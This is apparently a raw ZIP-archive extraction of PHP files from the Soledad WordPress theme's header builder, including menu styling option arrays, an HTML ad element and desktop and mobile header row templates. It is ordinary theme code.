		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_font_size_lv1',
	'default'   => '12',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Font Size for Menu Items Level 1', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_main_menu_penci_font_size_lv1',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_font_size_drop',
	'default'   => '12',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Font Size for Dropdown Menu Items', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_main_menu_penci_font_size_drop',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_lv1_item_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Space Between Menu Items Level 1', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_main_menu_penci_lv1_item_spacing',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_lv1_item_margin',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Margin Between Menu Items Level 1', 'soledad' ),
	'description'     => __( 'This option only applies when you enable padding for menu items level 1', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_main_menu_penci_lv1_item_margin',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);


return $options;
PK     /w\"H9  9  )  builder/elements/pb_html_ad/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$ads_html = penci_builder_validate_mod( $header_data, 'penci_header_builder_pb_html_name', false );
if ( empty( $ads_html ) ) {
	return false;
}
?>

<div class="penci-builder-element penci-html-ads penci-html-ads-1">
	<?php echo do_shortcode( $ads_html ); ?>
</div>
PK     /w\D	  D	  (  builder/elements/pb_html_ad/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'              => 'penci_header_builder_pb_html_name',
	'default'         => '',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-textarea',
	'label'           => esc_html__( 'HTML Code', 'soledad' ),
	'partial_refresh' => [
		'penci_header_builder_pb_html_name' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_link_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Links Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_fsize',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Font Size','soledad' ),
	'type'      => 'soledad-fw-size',
	'ids'  => array(
		'desktop' => 'penci_header_builder_pb_html_fsize',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'       => 'penci_header_builder_pb_html_css_class',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'type'     => 'soledad-fw-text',
	'label'    => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     /w\'      builder/template/mobile-mid.phpnu [        <?php
$classes        = '';
$header_data    = $args['header_data'];
$stick_class    = penci_builder_validate_mod( $header_data, 'penci_header_mobile_midbar_sticky_setting', '' );
$middle_content = penci_builder_validate_mod( $header_data, 'penci_header_mobile_midbar_middle_column', 'enable' );
$classes        .= 'enable' == $stick_class ? 'sticky-enable' : 'sticky-disable';
$classes        .= 'enable' == $middle_content ? ' pcmiddle-center' : ' pcmiddle-normal';
$classes        .= penci_can_render_header( 'mobile', 'mid' ) ? ' pc-hasel' : ' pc-noel';
$bgtrans        = penci_builder_validate_mod( $header_data, 'penci_header_mobile_midbar_background_trans', 'enable' );
$classes        .= 'enable' == $bgtrans ? ' bgtrans-enable' : ' bgnormal';
?>
<div class="penci_mobile_midbar penci-mobile-midbar penci_container <?php echo esc_attr( $classes ); ?>">
    <div class="container">
        <div class="penci_nav_row">
			<?php
			$columns = array( 'left', 'center', 'right' );

			foreach ( $columns as $column ) {
				$setting_align = "penci_hb_align_mobile_mid_{$column}";
				$align         = penci_builder_validate_mod( $header_data, $setting_align, $column );

				$setting_element = "penci_hb_element_mobile_mid_{$column}";
				$elements        = penci_builder_validate_mod( $header_data, $setting_element, penci_header_default( "mobile_element_mid_{$column}" ) );
				$elements        = $elements ? explode( ',', $elements ) : '';
				?>

                <div class="penci_nav_col penci_nav_<?php echo esc_attr( $column ); ?> penci_nav_align<?php echo esc_attr( $align ); ?>">

					<?php
					if ( ! empty( $elements ) ) {
						foreach ( $elements as $element ) {
							if ( ! empty( $element ) && file_exists( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php' ) ) {
								load_template( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php', false, [ 'header_data' => $header_data ] );
							}
						}
					}
					?>

                </div>

				<?php
			}
			?>
        </div>
    </div>
</div>
PK     /w\+    '  builder/template/desktop-sticky-mid.phpnu [        <?php
$classes        = '';
$header_data    = $args['header_data'];
$middle_content = penci_builder_validate_mod( $header_data, 'penci_header_sticky_mid_middle_column', 'enable' );
$classes        .= 'enable' == $middle_content ? 'pcmiddle-center' : 'pcmiddle-normal';
$classes        .= penci_can_render_header( 'desktop_sticky', 'mid' ) ? ' pc-hasel' : ' pc-noel';
$content_width  = penci_builder_validate_mod( $header_data, 'penci_header_sticky_mid_content_width', 'container' );
?>
<div class="penci-desktop-sticky-mid penci_container penci-sticky-mid <?php echo esc_attr( $classes ); ?>">
    <div class="container <?php echo esc_attr( $content_width ); ?>">
        <div class="penci_nav_row">
			<?php
			$columns = array( 'left', 'center', 'right' );

			foreach ( $columns as $column ) {
				$setting_align = "penci_hb_align_desktop_sticky_mid_{$column}";
				$align         = penci_builder_validate_mod( $header_data, $setting_align, $column );


				$setting_element = "penci_hb_element_desktop_sticky_mid_{$column}";
				$elements        = penci_builder_validate_mod( $header_data, $setting_element, penci_header_default( "sticky_element_mid_{$column}" ) );
				$elements        = $elements ? explode( ',', $elements ) : '';
				?>

                <div class="penci_nav_col penci_nav_<?php echo esc_attr( $column ); ?> penci_nav_align<?php echo esc_attr( $align ); ?>">

					<?php
					if ( ! empty( $elements ) && is_array( $elements ) ) {
						foreach ( $elements as $element ) {
							if ( ! empty( $element ) && file_exists( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php' ) ) {
								load_template( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php', false, [ 'class_type'  => 'sticky-header',
								                                                                                        'header_data' => $header_data
								] );
							}
						}
					}
					?>

                </div>

				<?php
			}
			?>
        </div>
    </div>
</div>
PK     /w\Ix  x  (  builder/template/desktop-bottomblock.phpnu [        <?php
$classes = '';
$header_data    = $args['header_data'];
$content_width = penci_builder_validate_mod( $header_data, 'penci_header_bottomblock_content_width', 'container-fullwidth' );
$transparent   = penci_builder_validate_mod( $header_data, 'penci_header_bottomblock_transparent_background_color' );
$transparent   .= 'enable' == $transparent ? 'bg-transparent' : 'bg-normal';
$classes       .= penci_can_render_header( 'desktop', 'bottomblock' ) ? ' pc-hasel' : ' pc-noel';
?>
<div class="penci_bottomblock penci-desktop-bottomblock penci_navbar pcmiddle-normal penci_container <?php echo esc_attr( $classes ); ?>">
    <div class="container <?php esc_attr_e( $content_width ); ?>">
        <div class="penci_nav_row">
			<?php
			$columns = [ 'center' ];

			foreach ( $columns as $column ) {
				$content_direction = penci_builder_validate_mod( $header_data, 'penci_header_bottomblock_content_direction', 'row' );
				$content_direction = $content_direction ? $content_direction : 'row';

				$setting_align = "penci_hb_align_desktop_bottomblock_{$column}";
				$align         = penci_builder_validate_mod( $header_data, $setting_align, $column );

				$setting_element = "penci_hb_element_desktop_bottomblock_{$column}";
				$elements        = penci_builder_validate_mod( $header_data, $setting_element, penci_header_default( "desktop_element_bottomblock_{$column}" ) );
				$elements        = $elements ? explode( ',', $elements ) : '';
				?>

                <div class="penci_nav_col penci_nav_<?php echo esc_attr( $column ); ?> penci_content_<?php echo esc_attr( $content_direction ); ?> penci_nav_align<?php echo esc_attr( $align ); ?>">

						<?php
						if ( ! empty( $elements ) && is_array( $elements ) ) {
							foreach ( $elements as $element ) {
								if ( ! empty( $element ) && file_exists( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php' ) ) {
									load_template( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php', false, [ 'class_type' => 'normal-header', 'header_data' => $header_data ] );
								}
							}
						}
						?>

                </div>

				<?php
			}
			?>
        </div>
    </div>
</div>
PK     /w\VĶ4  4  $  builder/template/desktop-builder.phpnu [        <?php
$builder_id      = penci_get_header_builder_id();
$header_data     = get_page_by_path( $builder_id, OBJECT, 'penci_builder' );
$header_id       = isset( $header_data->ID ) && $header_data->ID ? $header_data->ID : '';
$customizer_data = get_post_meta( $header_id, 'settings_content', true );
?>
<div data-builder-slug="<?php echo esc_attr( $builder_id ); ?>" id="pcbdhd_<?php echo esc_attr( $builder_id ); ?>"
     class="pc-wrapbuilder-header-inner penci-builder-id-<?php echo esc_attr( $builder_id ); ?>">
	<?php
	if ( is_customize_preview() && $header_id ) {
		$query['post']   = $header_id;
		$query['action'] = 'edit';
		$link            = add_query_arg( $query, admin_url( 'post.php' ) );
		echo '<a target="_blank" href="#" data-href="' . esc_url( $link ) . '" class="soledad-customizer-edit-link custom-link header-custom-link"><button><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20"><path d="M13.89 3.39l2.71 2.72c.46.46.42 1.24.03 1.64l-8.01 8.02-5.56 1.16 1.16-5.58s7.6-7.63 7.99-8.03c.39-.39 1.22-.39 1.68.07zm-2.73 2.79l-5.59 5.61 1.11 1.11 5.54-5.65zm-2.97 8.23l5.58-5.6-1.07-1.08-5.59 5.6z"/></svg></button></a>';
	}

	if ( ( is_home() || is_front_page() ) && get_theme_mod( 'penci_home_h1content' ) ) {
		echo '<h1 class="penci-hide-tagupdated">' . get_theme_mod( 'penci_home_h1content' ) . '</h1>';
	}

	load_template( PENCI_BUILDER_PATH . 'template/desktop-sticky-wrapper.php', true, [ 'header_data' => $customizer_data ] );
	$overlap           = penci_builder_validate_mod( $customizer_data, 'penci_header_overlap_setting' );
	$header_width      = penci_builder_validate_mod( $customizer_data, 'penci_header_wrap_all', 'normal-width' );
	$header_shadow     = penci_builder_validate_mod( $customizer_data, 'penci_header_shadow' );
	$header_wrap_width = penci_builder_validate_mod( $customizer_data, 'penci_header_wrap_width' );
	$classes           = [];
	$classes[]         = 'penci_header penci-header-builder main-builder-header';
	$classes[]         = 'enable' == $overlap ? 'penci_header_overlap' : '';
	$classes[]         = 'enable' == $header_width ? 'container' : 'normal';
	$classes[]         = 'enable' == $header_shadow ? 'shadow-enable' : 'no-shadow';
	$classes[]         = 'enable' == $header_width && $header_wrap_width ? $header_wrap_width : '';
	$classes[]         = 'enable' == $header_width ? 'pchb-boxed-layout' : '';
	?>
    <div class="<?php echo implode( ' ', $classes ); ?>">
		<?php
		$rows = penci_builder_validate_mod( $customizer_data, 'penci_hb_arrange_bar', 'topblock,top,mid,bottom,bottomblock' );

		$rows = explode( ',', $rows );

		foreach ( $rows as $row ) {
			if ( ( ! empty( $row ) && penci_can_render_header( 'desktop', $row ) ) || is_customize_preview() ) {
				load_template( PENCI_BUILDER_PATH . 'template/desktop-' . $row . '.php', true, [ 'header_data' => $customizer_data ] );
			}
		}
		?>
    </div>
	<?php
	load_template( PENCI_BUILDER_PATH . 'template/mobile-builder.php', true, [ 'header_data' => $customizer_data ] );
	load_template( PENCI_BUILDER_PATH . 'template/mobile-menu.php', true, [ 'header_data' => $customizer_data ] );
	?>
</div>PK     /w\w'	  '	     builder/template/desktop-top.phpnu [        <?php
$classes        = '';
$header_data    = $args['header_data'];
$middle_content = penci_builder_validate_mod( $header_data, 'penci_header_topbar_middle_column', 'enable' );
$content_width  = penci_builder_validate_mod( $header_data, 'penci_header_topbar_content_width', 'container' );
$transparent    = penci_builder_validate_mod( $header_data, 'penci_header_topbar_transparent_background_color' );
$classes        .= 'enable' == $transparent ? 'bg-transparent' : 'bg-normal';
$classes        .= 'enable' == $middle_content ? ' pcmiddle-center' : ' pcmiddle-normal';
$classes        .= penci_can_render_header( 'desktop', 'top' ) ? ' pc-hasel' : ' pc-noel';
?>
<div class="penci_topbar penci-desktop-topbar penci_container <?php echo esc_attr( $classes ); ?>">
    <div class="container <?php esc_attr_e( $content_width ); ?>">
        <div class="penci_nav_row">
			<?php
			$columns = array( 'left', 'center', 'right' );

			foreach ( $columns as $column ) {
				$setting_align = "penci_hb_align_desktop_top_{$column}";
				$align         = penci_builder_validate_mod( $header_data, $setting_align, $column );

				$setting_flex = "penci_hb_flex_desktop_top_{$column}";
				$flex         = penci_builder_validate_mod( $header_data, $setting_flex, $column );

				$setting_element = "penci_hb_element_desktop_top_{$column}";
				$elements        = penci_builder_validate_mod( $header_data, $setting_element, penci_header_default( "desktop_element_top_{$column}" ) );
				$elements        = $elements ? explode( ',', $elements ) : '';
				?>

                <div class="penci_nav_col penci_nav_<?php echo esc_attr( $column ); ?> penci_nav_flex<?php echo esc_attr( $flex ); ?> penci_nav_align<?php echo esc_attr( $align ); ?>">

					<?php
					if ( ! empty( $elements ) && is_array( $elements ) ) {
						foreach ( $elements as $element ) {
							if ( ! empty( $element ) && file_exists( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php' ) ) {
								load_template( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php', false, [ 'class_type'  => 'normal-header',
								                                                                                        'header_data' => $header_data
								] );
							}
						}
					}
					?>

                </div>

				<?php
			}
			?>
        </div>
    </div>
</div>
PK     /w\4    *  builder/template/desktop-sticky-bottom.phpnu [        <?php
$classes        = '';
$header_data    = $args['header_data'];
$middle_content = penci_builder_validate_mod( $header_data, 'penci_header_sticky_bottom_middle_column', 'enable' );
$classes        .= 'enable' == $middle_content ? 'pcmiddle-center' : 'pcmiddle-normal';
$classes        .= penci_can_render_header( 'desktop_sticky', 'bottom' ) ? ' pc-hasel' : ' pc-noel';
$content_width  = penci_builder_validate_mod( $header_data, 'penci_header_sticky_bottom_content_width', 'container' );
?>
<div class="penci-desktop-sticky-bottom penci_container penci-sticky-bottom <?php echo esc_attr( $classes ); ?>">
    <div class="container <?php echo esc_attr( $content_width ); ?>">
        <div class="penci_nav_row">
			<?php
			$columns = array( 'left', 'center', 'right' );

			foreach ( $columns as $column ) {
				$setting_align = "penci_hb_align_desktop_sticky_bottom_{$column}";
				$align         = penci_builder_validate_mod( $header_data, $setting_align, $column );


				$setting_element = "penci_hb_element_desktop_sticky_bottom_{$column}";
				$elements        = penci_builder_validate_mod( $header_data, $setting_element, penci_header_default( "sticky_element_bottom_{$column}" ) );
				$elements        = $elements ? explode( ',', $elements ) : '';
				?>

                <div class="penci_nav_col penci_nav_<?php echo esc_attr( $column ); ?> penci_nav_align<?php echo esc_attr( $align ); ?>">

					<?php
					if ( ! empty( $elements ) && is_array( $elements ) ) {
						foreach ( $elements as $element ) {
							if ( ! empty( $element ) && file_exists( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php' ) ) {
								load_template( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php', false, [ 'class_type'  => 'sticky-header',
								                                                                                        'header_data' => $header_data
								] );
							}
						}
					}
					?>
                </div>

				<?php
			}
			?>
        </div>
    </div>
</div>
PK     /w\2t       builder/template/mobile-menu.phpnu [        <?php
$header_data = $args['header_data'];
$position    = penci_builder_validate_mod( $header_data, 'penci_header_mobile_sidebar_position', 'left' );
$style       = penci_builder_validate_mod( $header_data, 'penci_header_mobile_sidebar_style', '' );
$style_class = $style ? ' mstyle-' . $style : '';
?>
<a href="#" aria-label="Close" class="close-mobile-menu-builder mpos-<?php echo $position . $style_class; ?>"><i
            class="penci-faicon fa fa-close"></i></a>
<div id="penci_off_canvas"
     class="penci-builder-mobile-sidebar-nav penci-menu-hbg mpos-<?php echo $position . $style_class; ?>">
    <div class="penci_mobile_wrapper">
		<?php load_template( PENCI_BUILDER_PATH . 'template/mobile-menu-content.php', true, [ 'header_data' => $header_data ] ); ?>
    </div>
</div>PK     /w\hl  l  (  builder/template/mobile-menu-content.phpnu [        <?php
$header_data = $args['header_data'];
?>
<div class="nav_wrap penci-mobile-sidebar-content-wrapper">
    <div class="penci-builder-item-wrap item_main">
		<?php
		$elements = penci_builder_validate_mod( $header_data, 'penci_hb_element_mobile_drawer_top_center' );
		$elements = explode( ',', $elements );
		foreach ( $elements as $element ) {
			if ( ! empty( $element ) && file_exists( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php' ) ) {
				load_template( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php', false, [ 'header_data' => $header_data ] );
			}
		}
		?>
    </div>
</div>
PK     /w\X21    '  builder/template/desktop-sticky-top.phpnu [        <?php
$classes        = '';
$header_data    = $args['header_data'];
$middle_content = penci_builder_validate_mod( $header_data, 'penci_header_sticky_top_middle_column', 'enable' );
$classes        .= 'enable' == $middle_content ? 'pcmiddle-center' : 'pcmiddle-normal';
$classes        .= penci_can_render_header( 'desktop_sticky', 'top' ) ? ' pc-hasel' : ' pc-noel';
$content_width  = penci_builder_validate_mod( $header_data, 'penci_header_sticky_top_content_width', 'container' );
?>
<div class="penci-desktop-sticky-top penci_container penci-sticky-top <?php echo esc_attr( $classes ); ?>">
    <div class="container <?php echo esc_attr( $content_width ); ?>">
        <div class="penci_nav_row">
			<?php
			$columns = array( 'left', 'center', 'right' );

			foreach ( $columns as $column ) {
				$setting_align = "penci_hb_align_desktop_sticky_top_{$column}";
				$align         = penci_builder_validate_mod( $header_data, $setting_align, $column );

				$setting_element = "penci_hb_element_desktop_sticky_top_{$column}";
				$elements        = penci_builder_validate_mod( $header_data, $setting_element, penci_header_default( "sticky_element_top_{$column}" ) );
				$elements        = $elements ? explode( ',', $elements ) : '';
				?>

                <div class="penci_nav_col penci_nav_<?php echo esc_attr( $column ); ?> penci_nav_align<?php echo esc_attr( $align ); ?>">

					<?php
					if ( ! empty( $elements ) && is_array( $elements ) ) {
						foreach ( $elements as $element ) {
							if ( ! empty( $element ) && file_exists( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php' ) ) {
								load_template( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php', false, [ 'class_type'  => 'sticky-header',
								                                                                                        'header_data' => $header_data
								] );
							}
						}
					}
					?>

                </div>

				<?php
			}
			?>
        </div>
    </div>
</div>
PK     /w\z:    %  builder/template/desktop-topblock.phpnu [        <?php
$classes       = '';
$header_data   = $args['header_data'];
$content_width = penci_builder_validate_mod( $header_data, 'penci_header_topblock_content_width', 'container-fullwidth' );
$transparent   = penci_builder_validate_mod( $header_data, 'penci_header_topblock_transparent_background_color' );
$classes       .= 'enable' == $transparent ? 'bg-transparent' : 'bg-normal';
$classes       .= penci_can_render_header( 'desktop', 'topblock' ) ? ' pc-hasel' : ' pc-noel';
?>
<div class="penci_topblock penci-desktop-topblock pcmiddle-normal penci_container <?php echo esc_attr( $classes ); ?>">
    <div class="container <?php esc_attr_e( $content_width ); ?>">
        <div class="penci_nav_row">
			<?php
			$columns = [ 'center' ];

			foreach ( $columns as $column ) {

				$content_direction = penci_builder_validate_mod( $header_data, 'penci_header_topblock_content_direction', 'row' );
				$content_direction = $content_direction ? $content_direction : 'row';

				$setting_align = "penci_hb_align_desktop_topblock_{$column}";
				$align         = penci_builder_validate_mod( $header_data, $setting_align, $column );

				$setting_element = "penci_hb_element_desktop_topblock_{$column}";
				$elements        = penci_builder_validate_mod( $header_data, $setting_element, penci_header_default( "desktop_element_topblock_{$column}" ) );
				$elements        = $elements ? explode( ',', $elements ) : '';
				?>

                <div class="penci_nav_col penci_nav_<?php echo esc_attr( $column ); ?>  penci_content_<?php echo esc_attr( $content_direction ); ?> penci_nav_align<?php echo esc_attr( $align ); ?>">

					<?php
					if ( ! empty( $elements ) && is_array( $elements ) ) {
						foreach ( $elements as $element ) {
							if ( ! empty( $element ) && file_exists( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php' ) ) {
								load_template( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php', false, [ 'class_type'  => 'normal-header',
								                                                                                        'header_data' => $header_data
								] );
							}
						}
					}
					?>

                </div>

				<?php
			}
			?>
        </div>
    </div>
</div>
PK     /w\k      builder/template/mobile-top.phpnu [        <?php
$classes     = '';
$header_data = $args['header_data'];
$stick_class = penci_builder_validate_mod( $header_data, 'penci_header_mobile_topbar_sticky_setting', 'enable' );
$classes     .= 'enable' == $stick_class ? 'sticky-enable' : 'sticky-disable';
$classes     .= penci_can_render_header( 'mobile', 'top' ) ? ' pc-hasel' : ' pc-noel';

$middle_content = penci_builder_validate_mod( $header_data, 'penci_header_mobile_topbar_column', 'enable' );
$classes        .= 'enable' == $middle_content ? ' pcmiddle-center' : ' pcmiddle-normal';

$bgtrans = penci_builder_validate_mod( $header_data, 'penci_header_mobile_topbar_background_trans', 'enable' );
$classes .= 'enable' == $bgtrans ? ' bgtrans-enable' : ' bgnormal';
?>
<div class="penci_mobile_topbar penci-mobile-topbar penci_container <?php echo esc_attr( $classes ); ?>">
    <div class="container">
        <div class="penci_nav_row">
			<?php
			$columns = array( 'left', 'center', 'right' );

			foreach ( $columns as $column ) {
				$setting_align = "penci_hb_align_mobile_top_{$column}";
				$align         = penci_builder_validate_mod( $header_data, $setting_align, $column );

				$setting_element = "penci_hb_element_mobile_top_{$column}";
				$elements        = penci_builder_validate_mod( $header_data, $setting_element );
				$elements        = $elements ? explode( ',', $elements ) : '';
				?>

                <div class="penci_nav_col penci_nav_<?php echo esc_attr( $column ); ?> penci_nav_align<?php echo esc_attr( $align ); ?>">

					<?php
					if ( ! empty( $elements ) ) {
						foreach ( $elements as $element ) {
							if ( ! empty( $element ) && file_exists( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php' ) ) {
								load_template( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php', false, [ 'header_data' => $header_data ] );
							}
						}
					}
					?>

                </div>

				<?php
			}
			?>
        </div>
    </div>
</div>
PK     /w\C  C  #  builder/template/mobile-builder.phpnu [        <?php
$class       = [];
$header_data = $args['header_data'];
if ( 'enable' == penci_builder_validate_mod( $header_data, 'penci_header_mobile_sticky_shadow' ) ) {
	$class[] = 'shadow-enable';
}
if ( 'enable' == penci_builder_validate_mod( $header_data, 'penci_header_mobile_sticky_hide_down' ) ) {
	$class[] = 'hide-scroll-down';
}
if ( 'enable' == penci_builder_validate_mod( $header_data, 'penci_header_mobile_overlap_setting' ) ) {
	$class[] = 'mobile-overlap';
}
?>
<div class="penci_navbar_mobile <?php echo implode( ' ', $class ); ?>">
	<?php
	$rows = array( 'top', 'mid', 'bottom' );
	foreach ( $rows as $row ) {
		if ( penci_can_render_header( 'mobile', $row ) || is_customize_preview() ) {
			load_template( PENCI_BUILDER_PATH . 'template/mobile-' . $row . '.php', true, [ 'header_data' => $header_data ] );
		}
	}
	?>
</div>
PK     /w\?F?       builder/template/desktop-mid.phpnu [        <?php
$classes        = '';
$header_data    = $args['header_data'];
$middle_content = penci_builder_validate_mod( $header_data, 'penci_header_midbar_middle_column', 'enable' );
$content_width  = penci_builder_validate_mod( $header_data, 'penci_header_midbar_content_width', 'container' );
$transparent    = penci_builder_validate_mod( $header_data, 'penci_header_midbar_transparent_background_color' );
$classes        .= 'enable' == $transparent ? 'bg-transparent' : 'bg-normal';
$classes        .= 'enable' == $middle_content ? ' pcmiddle-center' : ' pcmiddle-normal';
$classes        .= penci_can_render_header( 'desktop', 'mid' ) ? ' pc-hasel' : ' pc-noel';
?>
<div class="penci_midbar penci-desktop-midbar penci_container <?php echo esc_attr( $classes ); ?>">
    <div class="container <?php esc_attr_e( $content_width ); ?>">
        <div class="penci_nav_row">
			<?php
			$columns = array( 'left', 'center', 'right' );

			foreach ( $columns as $column ) {
				$setting_align = "penci_hb_align_desktop_mid_{$column}";
				$align         = penci_builder_validate_mod( $header_data, $setting_align, $column );

				$setting_flex = "penci_hb_flex_desktop_mid_{$column}";
				$flex         = penci_builder_validate_mod( $header_data, $setting_flex, $column );


				$setting_element = "penci_hb_element_desktop_mid_{$column}";
				$elements        = penci_builder_validate_mod( $header_data, $setting_element, penci_header_default( "desktop_element_mid_{$column}" ) );
				$elements        = $elements ? explode( ',', $elements ) : '';
				?>

                <div class="penci_nav_col penci_nav_<?php echo esc_attr( $column ); ?> penci_nav_flex<?php echo esc_attr( $flex ); ?> penci_nav_align<?php echo esc_attr( $align ); ?>">

					<?php
					if ( ! empty( $elements ) && is_array( $elements ) ) {
						foreach ( $elements as $element ) {
							if ( ! empty( $element ) && file_exists( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php' ) ) {
								load_template( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php', false, [ 'header_data' => $header_data ] );
							}
						}
					}
					?>

                </div>

				<?php
			}
			?>
        </div>
    </div>
</div>
PK     /w\хK	  K	  #  builder/template/desktop-bottom.phpnu [        <?php
$header_data    = $args['header_data'];
$classes        = '';
$middle_content = penci_builder_validate_mod( $header_data, 'penci_header_bottombar_middle_column', 'enable' );
$content_width  = penci_builder_validate_mod( $header_data, 'penci_header_bottombar_content_width', 'container' );
$transparent    = penci_builder_validate_mod( $header_data, 'penci_header_bottombar_transparent_background_color' );
$classes        .= 'enable' == $transparent ? 'bg-transparent' : 'bg-normal';
$classes        .= 'enable' == $middle_content ? ' pcmiddle-center' : ' pcmiddle-normal';
$classes        .= penci_can_render_header( 'desktop', 'bottom' ) ? ' pc-hasel' : ' pc-noel';
?>
<div class="penci_bottombar penci-desktop-bottombar penci_navbar penci_container <?php echo $classes; ?>">
    <div class="container <?php esc_attr_e( $content_width ); ?>">
        <div class="penci_nav_row">
			<?php
			$columns = array( 'left', 'center', 'right' );

			foreach ( $columns as $column ) {
				$setting_align = "penci_hb_align_desktop_bottom_{$column}";
				$align         = penci_builder_validate_mod( $header_data, $setting_align, $column );
				
				$setting_flex = "penci_hb_flex_desktop_bottom_{$column}";
				$flex         = penci_builder_validate_mod( $header_data, $setting_flex, $column );


				$setting_element = "penci_hb_element_desktop_bottom_{$column}";
				$elements        = penci_builder_validate_mod( $header_data, $setting_element, penci_header_default( "desktop_element_bottom_{$column}" ) );
				$elements        = $elements ? explode( ',', $elements ) : '';
				?>

                <div class="penci_nav_col penci_nav_<?php echo esc_attr( $column ); ?> penci_nav_flex<?php echo esc_attr( $flex ); ?> penci_nav_align<?php echo esc_attr( $align ); ?>">

					<?php
					if ( ! empty( $elements ) && is_array( $elements ) ) {
						foreach ( $elements as $element ) {
							if ( ! empty( $element ) && file_exists( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php' ) ) {
								load_template( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php', false, [ 'class_type'  => 'normal-header',
								                                                                                        'header_data' => $header_data
								] );
							}
						}
					}
					?>

                </div>

				<?php
			}
			?>
        </div>
    </div>
</div>
